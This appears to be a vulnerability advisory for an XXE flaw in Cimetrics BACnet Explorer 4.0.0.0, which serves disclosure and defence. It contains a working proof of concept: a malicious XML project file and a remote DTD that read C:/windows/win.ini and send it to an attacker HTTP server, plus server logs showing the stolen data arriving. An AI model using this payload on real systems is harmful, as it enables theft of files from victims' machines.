### Summary
The BACnet Explorer is a BACnet client application that helps auto discover BACnet devices.
### Description
BACnetExplorer suffers from an XML External Entity (XXE) vulnerability using the DTD parameter entities technique resulting in disclosure and retrieval of arbitrary data on the affected node via out-of-band (OOB) attack. The vulnerability is triggered when input passed to the xml parser is not sanitized while parsing the xml project file.
### Vendor
Cimetrics, Inc. - https://www.cimetrics.com
### Affected Version
4.0.0.0
### Tested On
* Microsoft Windows 7 Professional SP1 (EN)
* Microsoft Windows 7 Ultimate SP1 (EN)
### PoC
Open file evil.xml:
```
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE zsl [
<!ENTITY % remote SYSTEM "http://192.168.1.71:8080/xxe.xml">
%remote;
%root;
%oob;]>
```
xxe.xml on the web server:
```
<!ENTITY % payload SYSTEM "file:///C:/windows/win.ini">
<!ENTITY % root "<!ENTITY % oob SYSTEM 'http://192.168.1.71:8080/?%payload;'> ">
```
`python -m SimpleHTTPServer 8080`
```
lab-PC - - [30/Jan/2017 00:47:44] "GET /?%5BMail%5D%0D%0ACMCDLLNAME32=mapi32.dll%0D%0ACMC=1%0D%0AMAPI=1%0D%0AMAPIX=1%0D%0AMAPIXVER=1.0.0.1%0D%0AOLEMessaging=1 HTTP/1.1" 301 -
lab-PC - - [30/Jan/2017 00:47:44] "GET /?%5BMail%5D%0D%0ACMCDLLNAME32=mapi32.dll%0D%0ACMC=1%0D%0AMAPI=1%0D%0AMAPIX=1%0D%0AMAPIXVER=1.0.0.1%0D%0AOLEMessaging=1/ HTTP/1.1" 200 -
```
Unavailable Comments